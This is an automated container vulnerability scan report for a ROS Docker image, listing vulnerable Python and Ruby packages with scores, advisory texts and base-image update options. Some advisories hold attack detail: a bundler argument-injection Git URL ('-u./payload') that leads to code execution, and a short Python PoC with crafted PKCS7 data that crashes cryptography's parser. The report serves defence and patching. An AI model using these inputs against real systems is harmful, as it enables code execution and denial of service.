pygments 2.11.2 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Unrestricted Upload of File with Dangerous Type Affected range <2.15.0 Fixed version 2.15.0 CVSS Score 6.8 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.053% EPSS Percentile 16th percentile Description A ReDoS issue was discovered in pygments/lexers/smithy.py in Pygments until 2.15.0 via SmithyLexer.

lxml 4.8.0 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools NULL Pointer Dereference Affected range <4.9.1 Fixed version 4.9.1 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.659% EPSS Percentile 70th percentile Description NULL Pointer Dereference allows attackers to cause a denial of service (or application crash). This only applies when lxml is used together with libxml2 2.9.10 through 2.9.14. libxml2 2.9.9 and earlier are not affected. It allows triggering crashes through forged input data, given a vulnerable code sequence in the application. The vulnerability is caused by the iterwalk function (also used by the canonicalize function). Such code shouldn't be in wide-spread use, given that parsing + iterwalk would usually be replaced with the more efficient iterparse function. However, an XML converter that serialises to C14N would also be vulnerable, for example, and there are legitimate use cases for this code sequence. If untrusted input is received (also remotely) and processed via iterwalk function, a crash can be triggered.

numpy 1.21.5 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Incorrect Comparison Affected range <1.22 Fixed version 1.22 CVSS Score 5.3 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L EPSS Score 0.065% EPSS Percentile 20th percentile Description Incomplete string comparison in the numpy.core component in NumPy1.9.x, which allows attackers to fail the APIs via constructing specific string objects.

net-imap 0.1.1 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Uncontrolled Resource Consumption Affected range <=0.2.4 Fixed version 0.2.5 CVSS Score 6 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.148% EPSS Percentile 36th percentile Description Summary There is a possibility for denial of service by memory exhaustion when net-imap reads server responses. At any time while the client is connected, a malicious server can send can send a "literal" byte count, which is automatically read by the client's receiver thread. The response reader immediately allocates memory for the number of bytes indicated by the server response. This should not be an issue when securely connecting to trusted IMAP servers that are well-behaved. It can affect insecure connections and buggy, untrusted, or compromised servers (for example, connecting to a user supplied hostname). Details The IMAP protocol allows "literal" strings to be sent in responses, prefixed with their size in curly braces (e.g. {1234567890}\r\n). When Net::IMAP receives a response containing a literal string, it calls IO#read with that size. When called with a size, IO#read immediately allocates memory to buffer the entire string before processing continues. The server does not need to send any more data. There is no limit on the size of literals that will be accepted. Fix Upgrade Users should upgrade to net-imap 0.5.7 or later. A configurable max_response_size limit has been added to Net::IMAP's response reader. The max_response_size limit has also been backported to net-imap 0.2.5, 0.3.9, and 0.4.20. To set a global value for max_response_size, users must upgrade to net-imap ~> 0.4.20, or > 0.5.7. Configuration To avoid backward compatibility issues for secure connections to trusted well-behaved servers, the default max_response_size for net-imap 0.5.7 is very high (512MiB), and the default max_response_size for net-imap ~> 0.4.20, ~> 0.3.9, and 0.2.5 is nil (unlimited). When connecting to untrusted servers or using insecure connections, a much lower max_response_size should be used. # Set the global max_response_size (only ~> v0.4.20, > 0.5.7) Net::IMAP.config.max_response_size = 256 << 10 # 256 KiB # Set when creating the connection imap = Net::IMAP.new(hostname, ssl: true, max_response_size: 16 << 10) # 16 KiB # Set after creating the connection imap.max_response_size = 256 << 20 # 256 KiB # flush currently waiting read, to ensure the new setting is loaded imap.noop Please Note: max_response_size only limits the size per response. It does not prevent a flood of individual responses and it does not limit how many unhandled responses may be stored on the responses hash. Users are responsible for adding response handlers to prune excessive unhandled responses. Compatibility with lower max_response_size A lower max_response_size may cause a few commands which legitimately return very large responses to raise an exception and close the connection. The max_response_size could be temporarily set to a higher value, but paginated or limited versions of commands should be used whenever possible. For example, to fetch message bodies: imap.max_response_size = 256 << 20 # 256 KiB imap.noop # flush currently waiting read # fetch a message in 252KiB chunks size = imap.uid_fetch(uid, "RFC822.SIZE").first.rfc822_size limit = 252 << 10 message = ((0..size) % limit).each_with_object("") {|offset, str| str << imap.uid_fetch(uid, "BODY.PEEK[]<#{offset}.#{limit}>").first.message(offset:) } imap.max_response_size = 16 << 20 # 16 KiB imap.noop # flush currently waiting read References PR to introduce max_response_size: ✨ Limit max_response_size ruby/net-imap#444 Specific commit: 0ae8576c1 - lib/net/imap/response_reader.rb Backport to 0.4: ✨ Limit max_response_size (backport 0.4) ruby/net-imap#445 Backport to 0.3: ✨ Limit max_response_size (backport 0.3) ruby/net-imap#446 Backport to 0.2: ✨ Limit max_response_size (backport 0.2) ruby/net-imap#447

bundler 2.2.22 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') Affected range <2.2.33 Fixed version 2.2.33 CVSS Score 6.7 CVSS Vector CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H EPSS Score 1.811% EPSS Percentile 82nd percentile Description In bundler versions before 2.2.33, when working with untrusted and apparently harmless Gemfile's, it is not expected that they lead to execution of external code, unless that's explicit in the ruby code inside the Gemfile itself. However, if the Gemfile includes gem entries that use the git option with invalid, but seemingly harmless, values with a leading dash, this can be false. To handle dependencies that come from a Git repository instead of a registry, Bundler uses various commands, such as git clone. These commands are being constructed using user input (e.g. the repository URL). When building the commands, Bundler versions before 2.2.33 correctly avoid Command Injection vulnerabilities by passing an array of arguments instead of a command string. However, there is the possibility that a user input starts with a dash (-) and is therefore treated as an optional argument instead of a positional one. This can lead to Code Execution because some of the commands have options that can be leveraged to run arbitrary executables. Since this value comes from the Gemfile file, it can contain any character, including a leading dash. Exploitation To exploit this vulnerability, an attacker has to craft a directory containing a Gemfile file that declares a dependency that is located in a Git repository. This dependency has to have a Git URL in the form of -u./payload. This URL will be used to construct a Git clone command but will be interpreted as the upload-pack argument. Then this directory needs to be shared with the victim, who then needs to run a command that evaluates the Gemfile, such as bundle lock, inside. Impact This vulnerability can lead to Arbitrary Code Execution, which could potentially lead to the takeover of the system. However, as explained above, the exploitability is very low, because it requires a lot of user interaction. It still could put developers at risk when dealing with untrusted files in a way they think is safe, because the exploit still works when the victim tries to make sure nothing can happen, e.g. by manually reviewing the Gemfile (although they would need the weird URL with a leading dash to not raise any flags). This kind of attack vector has been used in the past to target security researchers by sending them projects to collaborate on. Patches Bundler 2.2.33 has patched this problem by inserting -- as an argument before any positional arguments to those Git commands that were affected by this issue. Workarounds Regardless of whether users can upgrade or not, they should review any untrustred Gemfile's before running any bundler commands that may read them, since they can contain arbitrary ruby code. References https://cwe.mitre.org/data/definitions/88.html

resolv 0.2.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Improper Validation of Specified Quantity in Input Affected range <0.2.3 Fixed version 0.2.3 CVSS Score 6.6 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U EPSS Score 0.022% EPSS Percentile 5th percentile Description A denial of service vulnerability has been discovered in the resolv gem bundled with Ruby. Details The vulnerability is caused by an insufficient check on the length of a decompressed domain name within a DNS packet. An attacker can craft a malicious DNS packet containing a highly compressed domain name. When the resolv library parses such a packet, the name decompression process consumes a large amount of CPU resources, as the library does not limit the resulting length of the name. This resource consumption can cause the application thread to become unresponsive, resulting in a Denial of Service condition. Affected Version The vulnerability affects the resolv gem bundled with the following Ruby series: Ruby 3.2 series: resolv version 0.2.2 and earlier Ruby 3.3 series: resolv version 0.3.0 Ruby 3.4 series: resolv version 0.6.1 and earlier Credits Thanks to Manu for discovering this issue. History Originally published at 2025-07-08 07:00:00 (UTC)

zipp 1.0.0 (pypi) pkg:pypi/[email protected] # Dockerfile (41:43) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y curl Uncontrolled Resource Consumption Affected range <3.19.1 Fixed version 3.19.1 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.037% EPSS Percentile 10th percentile Description A Denial of Service (DoS) vulnerability exists in the jaraco/zipp library, affecting all versions prior to 3.19.1. The vulnerability is triggered when processing a specially crafted zip file that leads to an infinite loop. This issue also impacts the zipfile module of CPython, as features from the third-party zipp library are later merged into CPython, and the affected code is identical in both projects. The infinite loop can be initiated through the use of functions affecting the Path module in both zipp and zipfile, such as joinpath, the overloaded division operator, and iterdir. Although the infinite loop is not resource exhaustive, it prevents the application from responding. The vulnerability was addressed in version 3.19.1 of jaraco/zipp.

[github-actions]

Recommended fixes for image (linux/amd64) ghcr.io/cuautodrone/cuad-ros:latest

Base image is ubuntu:22.04

Name	jammy-20251001
Digest	sha256:4cb780d50443fc4463f1f9360c03ca46512e4fdd8fd97c5ce7e69c8758924575
Vulnerabilities
Pushed	1 week ago
Size	30 MB
Packages	143
Flavor	ubuntu
OS	22.04

The base image is also available under the supported tag(s): jammy, jammy-20251001

Refresh base image

Rebuild the image using a newer base image version. Updating this may result in breaking changes.

✅ This image version is up to date.

Change base image

Tag	Details	Pushed	Vulnerabilities
25.10 Major OS version update Also known as: devel questing questing-20250830	Benefits: Image contains 20 fewer packages Image has similar size Image introduces no new vulnerability but removes 14 Major OS version update Image details: Size: 30 MB OS: 25.10	1 month ago
24.04 Tag is latest Also known as: noble latest noble-20250925	Benefits: Image contains 12 fewer packages Image has similar size Tag is latest Major OS version update Image details: Size: 30 MB OS: 24.04	1 week ago
25.04 Major OS version update Also known as: plucky rolling plucky-20250925.1	Benefits: Image contains 21 fewer packages Image has similar size Major OS version update Image details: Size: 30 MB OS: 25.04	2 weeks ago

[github-actions]

Your image	ghcr.io/cuautodrone/cuad-ros:latest
Current base image	ubuntu:22.04
Updated base image	ubuntu:25.10

[github-actions]

🔍 Vulnerabilities of ghcr.io/cuautodrone/cuad-ros:latest

📦 Image Reference ghcr.io/cuautodrone/cuad-ros:latest

digest	sha256:81c5b5f4c7c6929b63692d736328b3bd7beb712f28f101b99c3131acebec2aac
vulnerabilities
platform	linux/arm64
size	2.7 GB
packages	2266

📦 Base Image ubuntu:22.04

also known as	jammy jammy-20251001
digest	sha256:40c5d6cde65809ff9d47ce06d1dd01d428a9af388a8918fc7a3310a55a4c39cb
vulnerabilities

pillow 9.0.1 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Improper Control of Generation of Code ('Code Injection') Affected range <10.2.0 Fixed version 10.2.0 CVSS Score 9.3 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.557% EPSS Percentile 67th percentile Description Pillow through 10.1.0 allows PIL.ImageMath.eval Arbitrary Code Execution via the environment parameter, a different vulnerability than CVE-2022-22817 (which was about the expression parameter). Out-of-bounds Write Affected range <10.0.1 Fixed version 10.0.1 CVSS Score 8.8 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H EPSS Score 93.949% EPSS Percentile 100th percentile Description Heap buffer overflow in libwebp allow a remote attacker to perform an out of bounds memory write via a crafted HTML page. Uncontrolled Resource Consumption Affected range <10.0.0 Fixed version 10.0.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.137% EPSS Percentile 34th percentile Description An issue was discovered in Pillow before 10.0.0. It is a Denial of Service that uncontrollably allocates memory to process a given task, potentially causing a service to crash by having it run out of memory. This occurs for truetype in ImageFont when textlength in an ImageDraw instance operates on a long text argument. Improper Handling of Highly Compressed Data (Data Amplification) Affected range <9.2.0 Fixed version 9.2.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N EPSS Score 0.191% EPSS Percentile 41st percentile Description Pillow before 9.2.0 performs Improper Handling of Highly Compressed GIF Data (Data Amplification). Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') Affected range <10.3.0 Fixed version 10.3.0 CVSS Score 7.3 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 0.170% EPSS Percentile 39th percentile Description In _imagingcms.c in Pillow before 10.3.0, a buffer overflow exists because strcpy is used instead of strncpy. OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities Affected range <10.0.1 Fixed version 10.0.1 Description Pillow versions before v10.0.1 bundled libwebp binaries in wheels that is vulnerable to CVE-2023-5129 (previously CVE-2023-4863). Pillow v10.0.1 upgrades the bundled libwebp binary to v1.3.2. Affected range <10.0.1 Fixed version 10.0.1 EPSS Score 0.043% EPSS Percentile 12th percentile Description Pillow versions before v10.0.1 bundled libwebp binaries in wheels that are vulnerable to CVE-2023-5129 (previously CVE-2023-4863). Pillow v10.0.1 upgrades the bundled libwebp binary to v1.3.2.

cgi 0.2.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Integer Overflow or Wraparound Affected range >=0.2.0 <0.2.1 Fixed version 0.2.1 CVSS Score 9.8 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H EPSS Score 0.905% EPSS Percentile 75th percentile Description A buffer overrun vulnerability was discovered in CGI.escape_html. This can lead to a buffer overflow when a user passes a very large string (> 700 MB) to CGI.escape_html on a platform where long type takes 4 bytes, typically, Windows. Interpretation Conflict Affected range >=0.2.0 <0.2.2 Fixed version 0.2.2 CVSS Score 8.8 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H EPSS Score 2.492% EPSS Percentile 85th percentile Description Ruby gem cgi.rb prior to versions 0.3.5, 0.2.2 and 0.1.0.2 allow HTTP header injection. If a CGI application using the CGI library inserts untrusted input into the HTTP response header, an attacker can exploit it to insert a newline character to split a header, and inject malicious content to deceive clients. This issue has been patched in versions 0.3.5, 0.2.2 and 0.1.0.2. Reliance on Cookies without Validation and Integrity Checking Affected range =0.2.0 Fixed version 0.2.1 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N EPSS Score 0.881% EPSS Percentile 75th percentile Description CGI::Cookie.parse in Ruby through 2.6.8 mishandles security prefixes in cookie names. This also affects the CGI gem prior to versions 0.3.1, 0.2.1, 0.1.1, and 0.1.0.1 for Ruby. Inefficient Regular Expression Complexity Affected range <0.3.5.1 Fixed version 0.3.5.1 CVSS Score 6.3 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.343% EPSS Percentile 56th percentile Description There is a possibility for Regular expression Denial of Service (ReDoS) by in the cgi gem. This vulnerability has been assigned the CVE identifier CVE-2025-27220. We recommend upgrading the cgi gem. Details The regular expression used in CGI::Util#escapeElement is vulnerable to ReDoS. The crafted input could lead to a high CPU consumption. This vulnerability only affects Ruby 3.1 and 3.2. If you are using these versions, please update CGI gem to version 0.3.5.1, 0.3.7, 0.4.2 or later. Affected versions cgi gem versions <= 0.3.5, 0.3.6, 0.4.0 and 0.4.1. Credits Thanks to svalkanov for discovering this issue. Also thanks to nobu for fixing this vulnerability. Uncontrolled Resource Consumption Affected range <0.3.5.1 Fixed version 0.3.5.1 CVSS Score 6.3 CVSS Vector CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N EPSS Score 0.473% EPSS Percentile 64th percentile Description There is a possibility for DoS by in the cgi gem. This vulnerability has been assigned the CVE identifier CVE-2025-27219. We recommend upgrading the cgi gem. Details CGI::Cookie.parse took super-linear time to parse a cookie string in some cases. Feeding a maliciously crafted cookie string into the method could lead to a Denial of Service. Please update CGI gem to version 0.3.5.1, 0.3.7, 0.4.2 or later. Affected versions cgi gem versions <= 0.3.5, 0.3.6, 0.4.0 and 0.4.1. Credits Thanks to lio346 for discovering this issue. Also thanks to mame for fixing this vulnerability.

stringio 3.0.0 (gem) pkg:gem/[email protected] # Dockerfile (75:77) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y gz-harmonic Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') Affected range <3.0.1.1 Fixed version 3.0.1.1 CVSS Score 9.3 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 2.044% EPSS Percentile 83rd percentile Description An issue was discovered in StringIO 3.0.1, as distributed in Ruby 3.0.x through 3.0.6 and 3.1.x through 3.1.4. The ungetbyte and ungetc methods on a StringIO can read past the end of a string, and a subsequent call to StringIO.gets may return the memory value. This vulnerability is not affected StringIO 3.0.3 and later, and Ruby 3.2.x and later. We recommend to update the StringIO gem to version 3.0.3 or later. In order to ensure compatibility with bundled version in older Ruby series, you may update as follows instead: For Ruby 3.0 users: Update to stringio 3.0.1.1 For Ruby 3.1 users: Update to stringio 3.1.0.2 You can use gem update stringio to update it. If you are using bundler, please add gem "stringio", ">= 3.0.1.2" to your Gemfile.

setuptools 59.6.0 (pypi) pkg:pypi/[email protected] # Dockerfile (57:59) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y ros-humble-desktop ros-dev-tools Inefficient Regular Expression Complexity Affected range <65.5.1 Fixed version 65.5.1 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:L/SI:L/SA:N EPSS Score 0.318% EPSS Percentile 54th percentile Description Python Packaging Authority (PyPA)'s setuptools is a library designed to facilitate packaging Python projects. Setuptools version 65.5.0 and earlier could allow remote attackers to cause a denial of service by fetching malicious HTML from a PyPI package or custom PackageIndex page due to a vulnerable Regular Expression in package_index. This has been patched in version 65.5.1. Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') Affected range <78.1.1 Fixed version 78.1.1 CVSS Score 7.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P EPSS Score 0.162% EPSS Percentile 38th percentile Description Summary A path traversal vulnerability in PackageIndex was fixed in setuptools version 78.1.1 Details def _download_url(self, url, tmpdir): # Determine download filename # name, _fragment = egg_info_for_url(url) if name: while '..' in name: name = name.replace('..', '.').replace('\\', '_') else: name = "__downloaded__" # default if URL has no path contents if name.endswith('.[egg.zip](http://egg.zip/)'): name = name[:-4] # strip the extra .zip before download --> filename = os.path.join(tmpdir, name) Here: https://github.com/pypa/setuptools/blob/6ead555c5fb29bc57fe6105b1bffc163f56fd558/setuptools/package_index.py#L810C1-L825C88 os.path.join() discards the first argument tmpdir if the second begins with a slash or drive letter. name is derived from a URL without sufficient sanitization. While there is some attempt to sanitize by replacing instances of '..' with '.', it is insufficient. Risk Assessment As easy_install and package_index are deprecated, the exploitation surface is reduced. However, it seems this could be exploited in a similar fashion like GHSA-r9hx-vwmv-q579, and as described by POC 4 in GHSA-cx63-2mw6-8hw5 report: via malicious URLs present on the pages of a package index. Impact An attacker would be allowed to write files to arbitrary locations on the filesystem with the permissions of the process running the Python code, which could escalate to RCE depending on the context. References https://huntr.com/bounties/d6362117-ad57-4e83-951f-b8141c6e7ca5 pypa/setuptools#4946 Improper Control of Generation of Code ('Code Injection') Affected range <70.0.0 Fixed version 70.0.0 CVSS Score 7.5 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N EPSS Score 4.250% EPSS Percentile 88th percentile Description A vulnerability in the package_index module of pypa/setuptools versions up to 69.1.1 allows for remote code execution via its download functions. These functions, which are used to download packages from URLs provided by users or retrieved from package index servers, are susceptible to code injection. If these functions are exposed to user-controlled inputs, such as package URLs, they can execute arbitrary commands on the system. The issue is fixed in version 70.0.

cryptography 3.4.8 (pypi) pkg:pypi/[email protected] # Dockerfile (41:43) RUN --mount=type=cache,target=/var/cache/apt,sharing=locked,id=cache-apt-$TARGETARCH-$TARGETVARIANT \ --mount=type=cache,target=/var/lib/apt,sharing=locked,id=lib-apt-$TARGETARCH-$TARGETVARIANT \ apt-get update && apt --no-install-recommends install -y curl Observable Discrepancy Affected range <42.0.0 Fixed version 42.0.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N EPSS Score 0.707% EPSS Percentile 71st percentile Description A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data. Access of Resource Using Incompatible Type ('Type Confusion') Affected range >=0.8.1 <39.0.1 Fixed version 39.0.1 CVSS Score 7.4 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H EPSS Score 90.049% EPSS Percentile 100th percentile Description pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8.1-39.0.0 are vulnerable to a security issue. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20221213.txt and https://www.openssl.org/news/secadv/20230207.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions. Improper Check for Unusual or Exceptional Conditions Affected range >=1.8 <39.0.1 Fixed version 39.0.1 CVSS Score 6.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N EPSS Score 0.717% EPSS Percentile 72nd percentile Description Previously, Cipher.update_into would accept Python objects which implement the buffer protocol, but provide only immutable buffers: >>> outbuf = b"\x00" * 32 >>> c = ciphers.Cipher(AES(b"\x00" * 32), modes.ECB()).encryptor() >>> c.update_into(b"\x00" * 16, outbuf) 16 >>> outbuf b'\xdc\x95\xc0x\xa2@\x89\x89\xadH\xa2\x14\x92\x84 \x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' This would allow immutable objects (such as bytes) to be mutated, thus violating fundamental rules of Python. This is a soundness bug -- it allows programmers to misuse an API, it cannot be exploited by attacker controlled data alone. This now correctly raises an exception. This issue has been present since update_into was originally introduced in cryptography 1.8. NULL Pointer Dereference Affected range >=3.1 <41.0.6 Fixed version 41.0.6 CVSS Score 5.9 CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.603% EPSS Percentile 69th percentile Description Summary Calling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to a NULL-pointer dereference and segfault. PoC Here is a Python code that triggers the issue: from cryptography.hazmat.primitives.serialization.pkcs7 import load_der_pkcs7_certificates, load_pem_pkcs7_certificates pem_p7 = b""" -----BEGIN PKCS7----- MAsGCSqGSIb3DQEHAg== -----END PKCS7----- """ der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02" load_pem_pkcs7_certificates(pem_p7) load_der_pkcs7_certificates(der_p7) Impact Exploitation of this vulnerability poses a serious risk of Denial of Service (DoS) for any application attempting to deserialize a PKCS7 blob/certificate. The consequences extend to potential disruptions in system availability and stability. NULL Pointer Dereference Affected range <42.0.2 Fixed version 42.0.2 CVSS Score 5.5 CVSS Vector CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H EPSS Score 0.224% EPSS Percentile 45th percentile Description Issue summary: Processing a maliciously formatted PKCS12 file may lead OpenSSL to crash leading to a potential Denial of Service attack Impact summary: Applications loading files in the PKCS12 format from untrusted sources might terminate abruptly. A file in PKCS12 format can contain certificates and keys and may come from an untrusted source. The PKCS12 specification allows certain fields to be NULL, but OpenSSL does not correctly check for this case. This can lead to a NULL pointer dereference that results in OpenSSL crashing. If an application processes PKCS12 files from an untrusted source using the OpenSSL APIs then that application will be vulnerable to this issue. OpenSSL APIs that are vulnerable to this are: PKCS12_parse(), PKCS12_unpack_p7data(), PKCS12_unpack_p7encdata(), PKCS12_unpack_authsafes() and PKCS12_newpass(). We have also fixed a similar issue in SMIME_write_PKCS7(). However since this function is related to writing data we do not consider it security significant. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue. Affected range >=2.5 <41.0.4 Fixed version 41.0.4 Description pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 2.5-41.0.3 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230908.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions. Affected range >=0.8 <41.0.3 Fixed version 41.0.3 Description pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.8-41.0.2 are vulnerable to several security issues. More details about the vulnerabilities themselves can be found in https://www.openssl.org/news/secadv/20230731.txt, https://www.openssl.org/news/secadv/20230719.txt, and https://www.openssl.org/news/secadv/20230714.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions. Affected range >=0.5 <=40.0.2 Fixed version 41.0.0 Description pyca/cryptography's wheels include a statically linked copy of OpenSSL. The versions of OpenSSL included in cryptography 0.5-40.0.2 are vulnerable to a security issue. More details about the vulnerability itself can be found in https://www.openssl.org/news/secadv/20230530.txt. If you are building cryptography source ("sdist") then you are responsible for upgrading your copy of OpenSSL. Only users installing from wheels built by the cryptography project (i.e., those distributed on PyPI) need to update their cryptography versions.

